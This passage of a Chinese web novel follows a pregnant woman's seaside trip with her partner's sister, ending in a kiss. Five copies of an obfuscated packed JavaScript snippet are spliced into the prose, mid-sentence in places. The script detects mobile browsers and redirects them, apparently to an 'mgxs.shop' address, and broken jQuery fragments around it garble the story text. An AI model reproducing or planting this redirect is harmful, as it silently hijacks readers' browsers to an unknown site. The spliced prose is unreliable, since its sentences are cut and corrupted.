以狭长的海岸线和湛蓝清澈的海域著称。 风和日丽,天空倒影在其中,丝缕云彩飘游,阳光晒在皮肤上,十分惬意。 她认真想了想,保守道:“应该还不错。” “应该?” 尤昙有些不好意思:“我们还没去过。” 女人神色平静地嗯了一声,突然结束了话题。 好像只是出于好奇随口一问,没有别的意思。 今天因为出门一趟,睡觉时间比以往都晚。 沈缎青洗漱完躺在床上时,尤昙已经困得意识轻微模糊了,她闭上眼睛,陷进枕头里,呼吸迟钝,自然也忘记刻意和女人拉开距离。 光线昏暝中,女人突然侧过身,伸手碰了碰她的小腹。 尤昙僵了僵,清醒了一下,下意识想要阻止,制止般握住了女人的手。 她虽然对肚子里的孩子谈不上什么母爱,却潜意识里知道,这里现在是身体最脆弱、最需要被保护的地方。 她做出了推拒的姿态,女人却仍然没放开手,反而开口:“过来。” 她反应过来,沈缎青是不会伤害她和宝宝的。 于是她松开手,身体放松下来,往女人身边靠了靠。 女人温热手掌轻轻抚摸她的小腹,像是在感受她身体里的另一个生命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483845|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>尤昙心里突然生出一种极其微妙的感觉。 沈遐云常常从身后抱住她,将下巴枕在她的肩上,抚摸她的小腹,语气里怀着某种焦急的期待:“这里什么时候能有我们的宝宝?” 她也不自觉地会跟着沈遐云一起畅想,如果有了宝宝会是怎样的场景。 只是那时她小腹平坦,而此时,这里的确有了一个正在长大的孩子。 女人的手掌轻轻抚摸,带来轻微的痒意。 隔着睡袍摸好像感受不真切,于是女人将睡袍扣子解开了两颗。 手掌钻进来的刹那。 尤昙抖了一下。 而女人似乎对她的不适应浑然未觉,专心致志地感受着小腹的生命,温热手掌摩挲着掌下的皮肤。 好像沈缎青才是孩子的另一个母亲。 沈缎青垂眼。 腹部的弧度会一天比一天明显,很快衣服就会遮不住身型。 母亲。 尤昙很快也要做母亲了。 沈缎青突然明白过来。 比起所谓充满生活痕迹的家,尤昙肚子里这个孩子,才更像是沈遐云想展示给她看的东西。 活生生的,血脉相连的孩子。 她和尤昙的。 所有的东西都能被丢弃,但这个孩子……只要尤昙不狠下心来,随着她一天天长大,就变成了她和尤昙最无法磨灭的相爱的证据。 她心里轻嗤了一声,忍不住叫了一声:“尤昙。” 女孩侧头看她。 两人之间的距离本来就很近,此刻尤昙几乎躺在她的臂弯里,眼珠湿润朦胧,乌黑长发柔顺地依偎着脸颊。 沈缎青突然问她:“要去吗?” 什么? 她话题跳得太快,尤昙又意识困倦,一时没明白过来,懵然转头看她。 哪怕灯光下女人的眉眼轮廓并不真切,她也感受到女人突然明朗了一点的心情。 女人声音里带着笑意,摸了摸她的头:“我们下周去这里吧。” 27. 第 27 章 去哪? 尤昙想到了刚才两人突然结束的话题,尚在怔愣中,女人却没有给她任何反应的时间,已经做了决定。 “下周就去吧。” “正好你的旅行攻略已经做好了,花费了那么多精力,却被浪费掉太可惜了。” “接下来宝宝会越来越大,大概很长一段时间都没办法出远门。” “借着这个机会,好好放松放松,对宝宝也有好处。” 见尤昙盯着自己却不说话,沈缎青故意道:“不想去吗?” 尤昙反应过来,张了张嘴。 她其实想说什么,比如,为什么要去这里,又比如,只有我们两个去吗? 可是乱七八糟地想了一通,她最后只问出来一个:“可是工作……” “我也有休假的权利。”女人冲她微微一笑。 “哦。” 下周,听起来时间很充裕,但实际上,今天就是周五,还有两天就是下周了。 她不会傻到觉得,沈缎青口中的下周,是指的下周末。 又不是短途旅行,可以随时说走就走,要整理必备的行李,又要订机酒,时间其实很紧张。 太久没出门了,哪怕这个旅行看起来很突然,但她也不自觉地雀跃起来了。 她和沈遐云一起旅行过很多次,但是每次临出发前那段时间都是她觉得最开心最期待的时候。 她和沈遐云最近半年几乎没有怎么出过门,因为沈遐云工作突然忙碌起来,她有时会不免忐忑,觉得是不是研究项目出了什么问题? 但是沈遐云一直都告诉她没有任何问题。 哪怕有时脸上的疲倦根本遮掩不住,面对她的询问也只是摇摇头,宽慰她:“不是大事,很快就能处理好。” 沈遐云总是这样说。 但她却隐约察觉到了什么。 比如,事情似乎没有沈遐云和她说得那样好解决,不然也不会拖这么久。 她心里担心,却帮不上什么忙。 毕竟她对沈遐云的研究一无所知,唯一知道的就是最近沈遐云累还是不累,回家早或者晚。 “真没事吗?” 沈遐云抱着她,却没有回答这个问题,埋头用鼻尖在她脸颊上蹭了蹭:“两天没回家,尤尤想我了吗?” 尤昙不满:“你还没回答我。 ” “你先回答我。” 信息素释放,充盈鼻腔。 身体在感应到的那刻就悄然软了腰。 尤昙支支吾吾:“……有。” “真的吗?”沈遐云笑起来,眼神将她包裹。 手指摩挲着碾下去。 尤昙呼吸微颤。 “说老婆进来。”沈遐云故意逗她。 她羞红了脸,却还是小声重复:“老婆进来。” 这是沈遐云转移注意力的手段,在一起这么久,尤昙当然能察觉到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483846|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈遐云不想和她说的事情,怎么也问不出来。 她哭着将刚才关心的问题抛在脑后,只关心沈遐云作乱的手指。 直到沈遐云那天和她说两人接下来要出门旅行,要她想想去哪里。 她这才终于松了口气。 这可能是代表项目终于告一段落,也可能是代表麻烦事终于被解决。 不管这样都是好事。 因此这次她的旅行计划做得十分详尽,怀着想要沈遐云好好放松休息的想法,选择的旅行地点气候也温暖惬意。 原本还想着等着沈遐云彻底空闲下来,两人再坐在一起重新安排一下行程。 只是没想到她和沈遐云最终还是没去成,兜兜转转最终会以这样的形式实现。 变成了她和沈缎青一起去。 她最近几天总是昏沉沉,晕乎乎,似乎并不是难受,只是单纯的没精神。 这大概是正常的孕期反应? 因此在两天后前往目的地的路上,几个小时的飞机,她没撑住,几乎睡了一整程,明明睡着前她记得自己半躺着靠在头枕上,睁开眼睛时,却靠在了身边沈缎青的肩上。 “醒了?” 见她眼神惺忪茫然,沈缎青忍不住笑了:“我们快到了。” 尤昙坐起身。 飞机已经到了目的地上空。 直到从舷窗里看到那片明静透蓝如同宝石的海面时,她仍然还有些没缓过神来。 28. 第 28 章 天与海相接,净度极高的蓝,透明的海,居然和查找攻略时看到得一模一样。 甚至肉眼见到的比照片更好看。 尤昙有些惊叹。 两人下了飞机,坐在去往酒店的车上。 海岸线狭长,一路上都能看到清清亮亮的海水在阳光下泛着金色的光。 她把车窗打开,腥咸的海风迎面吹进鼻腔。 海风吹过来那一刹,她甚至感觉到昏沉的头脑都清醒了不少。 当地的娱乐项目其实没什么特色,各种水上活动,帆船、浮潜之类的,有些她和沈遐云都在她其他地方体验过了。 很难得的是这里的生活慢节奏,和晴朗无云的好天气。 哪怕什么都不做,也会不自觉地心情舒畅。 这就是她原本选择这里的最大原因。 假设她和沈遐云来这里,能让沈遐云好好休息几天。 酒店连接着浅海,每个房间各自独立,只通过栈桥连通,几乎像是悬浮在海面上,隐私性极好。 房间的布置很齐全,厨房、储物间都一应俱全,甚至厨房的冰箱里还有新鲜食材,说是一个小公寓也不为过。 不像是要短暂旅行,倒有点像旅居的意思。 她们要在这里呆很久吗?她还以为最多一个星期呢。 “怎么了?” 尤昙心里觉得有些纳闷,但还是将目光移开了,摇摇头。 兴奋感和新鲜感让她心情有些雀跃。 推开房间门就是海面,甚至能够听到海浪轻轻拍打墙壁的声音。 房间一面的泳池连接海面。 甚至还能够直接通过一旁的梯子直接下海,浅海,最多只有三四米的深度,清澈见底。 海水被阳光晒得温热, 她有些好奇地打量着。 “要下去试试吗?” 尤昙摇摇头,不好意思:“……我不会游泳。” 沈缎青:“去换衣服。” 尤昙懵了一下。 沈缎青:“我会。” 之前和沈遐云一起出门旅行,她不会游泳,沈遐云自然迁就她,不会主动提出要去进行水下项目。 说实在的,迎着女人的目光,尤昙有些意动。 但还是摇摇头拒绝了,她有点害怕。 沈缎青笑道:“真不要?” 十分钟后,她换了套方便下水的泳衣。 但一下水,尤昙就感觉到了和之前的不同。 之前她和沈遐云旅行的时候,她们一块体验过潜水,体验归体验,有专业的装备,有教练,沈遐云也在她身边,而且沉下去后,海面上的风浪就和她无关了。 四肢浸泡悬浮在海水中无所依凭,无法脚踏实地的感觉还是让她畏缩,不敢舒展手脚,只能紧紧地扶着一旁的栏杆不敢松手。 “没事,有我在。”沈缎青在她身后,手臂虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483847|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚环住她的腰。 温柔踏实的气息将她包裹。 尤昙大着胆子松开了栏杆。 但她预估得不太一样。 即使表面上看起来风平浪静,可是风吹浪涌,只是一个小小的浪头,也足够令人害怕。 如果说远远地看着,只能感受到的 身历其境地感受浪潮涌动发出的低沉吼声,哪怕这根本不算什么。 不会游泳的人,在这一刻只觉得害怕。 她心一惊。 慌张地想要抓住女人的手,却什么都没抓到。 陡然失去安全感,让她开始挣扎。 女人扎实地从背后将她抱住。 “害怕什么?我在。” “我没有松手。” 沈缎青不会用这点来开玩笑,虽然是浅海,但不代表没有任何危险。 手臂一直保持着距离虚虚环在她的腰上,没让她脱离自己,只是直到刚才,才终于不紧不慢地抱住了她。 尤昙又惊又怕,一时之间心跳过速,还没冷静下来,眼泪已经冒出来。 劫后余生的惊恐让她脊背冒着冷汗,手脚虚软。 “胆子这么小?还是不相信我?” 带笑的声音,佯装责备,适时抚平了她的恐慌。 她转过身,紧紧地抱住了女人的脖子,将脸埋在女人怀里。 沈缎青的声音突然停下。 “哭了?” 29. 第 29 章 半晌,心跳平息,尤昙反应过来,立刻意识到是自己的反应太大了。 可是在手里身不由己的感觉,并不是她能控制的。 而求生是本能。 不过沈缎青明明就在她身后,她还反应这么剧烈,的确有些丢脸。 她回过神来,瓮声:“没哭。” 沈缎青轻飘飘:“嗯。” 她辩解道:“真没哭。” “知道的。”这副明显为了照顾她的自尊心哄她的语气。 尤昙:“……” 她就是有点被吓到了,有点。 “那还玩吗?” 尤昙沉默。 说玩也不是,说不玩也不是。 继续玩下去她有点害怕,可说不玩不就证实了她刚才就是被吓哭了吗。 沈缎青从身后将她抱紧。 “这样呢?” “还害怕吗?” 抱住她的腰。 女人比她高不少,在这个时候两人的身高差距只会让她感到安全。 手脚陷入微热的海水中,水的浮力轻轻将她承托起,一旦放松下来,这种感觉其实很舒服。 放松下来了,可另一个问题出现了。 她脊背紧贴女人的胸口,哪怕有衣料的阻隔,可是轻薄的泳衣能够挡住什么呢? 该感受到的形状和柔软已经一丝不落地感受到了。 她有些不适应地想要挪开一些,至少不要这么近。 可是刚拉开点距离,又一个浪头扑过来,尤昙又害怕又新奇地尖叫了一声。 两个人已经被海浪扑了个湿透。 为了方便下水,沈缎青一头波浪长发被随手低低束在脑后。 水珠从脸庞滚落,五官深邃,并不狼狈,反而增添了一种湿漉迷人的性感。 睫毛湿润柔软低垂,正注视着她。 那双眼睛是灰青色,和沈遐云极为相似。 但这一刻,她突然发现女人的眼尾,有一颗颜色极其浅淡的红色小痣,就藏在双眼皮褶皱隐没消失的末端。 而沈遐云的眼睛没有。 这样细小的特征不认真观察是注意不到的,可问题是,她和沈缎青已经住在一起几个月了。 很奇怪,她居然此刻才发现两人如此明显的不同。 或许是因为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483848|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是她第一次毫无拘束地敢盯着女人的眼睛看。 盯着看了许久。 直到海水涌过来。 尤昙突然才想起来要移开目光,动作仓皇地转过头。 “不玩了。” 小心翼翼地扶着栏杆爬上去,放松下来,她这才意识到,刚才自己太紧绷,手脚发软。 躺在游泳池旁边的躺椅上休息,太阳微热晒着手脚,或许是刚才体力耗尽,没一会就感觉到了口干舌燥。 沈缎青给她拿了一杯温水过来。 手里的杯子 “先喝点水。” 尤昙突然发觉了 很正常的泳衣,甚至称得上严实。 水珠从下巴滴落,滑过脖颈,在皮肤上拖曳出一道晶莹剔透的水痕,而后隐没在布料深处。 起伏的沟壑。 尤昙欲盖弥彰地看向海面,咽下一口温水。 她喝了几口,才发现沈缎青只拿了一杯过来。 被女人盯着,尤昙有些不好意思,鬼使神差地把手里的杯子递出去,象征性地问了一句:“要喝吗?” 话音还没落下,杯沿被衔住了。 30. 第 30 章 尤昙愣了愣。 女人就用这样的姿势,侧着脸,就着她的手,喝着水杯里的水。 微垂的眼睫,喝水时胸口自然而然的起伏滚动,轻微的吞咽声。 都在悄无声息地影响着她。 很微妙的感受。 明明很克制,两人之间的距离也足够安全。 这一刻,她还是感受到了一种难以言喻的紧张,心口发紧。 又来了。 那种感觉又来了。 微热的阳光晒在脸上,混杂着女人的信息素气味,让她一瞬间头晕目眩,甚至有些站不稳。 如果她记性足够好,将此刻的感受准确地描述出来,或许能够察觉到,这很像是她第一次分化时的感受,同样的头昏脑胀,神思慌乱。 手中的重量陡然一轻。 她猛地回过神来。 沈缎青已经直起身,态度自然地将她手中的杯子接过来,仿佛并不觉得两人刚才地姿势有什么不妥当,反而关切地问:“脸怎么这么红?不舒服?” 尤昙下意识躲开她试图试探自己额头温度的手,支支吾吾:“没事的,只是有点热。” 她看不到自己的脸颊有多红,眼神有多朦胧,只能粗暴地将此刻的感受归咎为热。 沈缎青不动声色地扫过她的脸颊:“那我们进去吧。” 尤昙嗯了声,准备起身,动作却突然顿住,脸色紧绷。 “怎么了?” 尤昙却没有反应,手掌捂着小腹,一副愣神的模样。 沈缎青皱了皱眉,微微俯身,正想查看。 却突然被尤昙拉住了手,小心翼翼地放在了自己的小腹上。 尤昙此刻还有些不可置信。 之前医生就叮嘱过她和沈缎青,四五月龄时,会逐渐感受到轻微胎动。 就在刚才,起身的一瞬间,她突然感受到小腹被轻轻踢了一下。 当然,说踢似乎不够准确。 尤昙也不知道要这样形容。 很奇妙的感觉。 如果没有恰好注意到,或许只会觉得这像是某种肌肉颤抖。 哪怕在此之前,尤昙对这个孩子没什么感觉,但这一刻,她的确感受到了一种特殊又陌生的奇妙感,仅仅是因为此刻新生命带给人的悸动。而对于新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483849|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生命的期待,这似乎是刻录在人类基因中的一种本能。 她呼吸都不由地快了几分。 她几乎下意识握住身旁女人的手,顾不上拉开距离,放在自己小腹上,迫切想要分享此刻自己的感受:“快摸摸!” “宝宝在动。”她语气新奇惊喜,好像刚才的不适突然一扫而空。 沈缎青顿了顿。 手掌下,伴随着尤昙的声音,有什么东西似乎踢了一下。 力道很轻。 隔着母亲的肚皮,就像是小雏鸟啄壳。 稍纵即逝。 却很鲜明。 这个孩子,第一次和母亲产生了联系。 沈缎青垂眼,沉默地看着她,维持着微微俯身的姿势,灰色影子将她笼罩。 尤昙浑然未觉,眼神亮晶晶,仰头:“是吗是吗?感觉到了吗?” “尤昙。” “嗯?”尤昙轻快答应一声,目不转睛地期待着她的回答,毫无防备。 头顶是海蓝色的天空,耳边是海水涌动的浪潮声。 温热的气息先一步扑了过来,女人突然靠过来吻了她。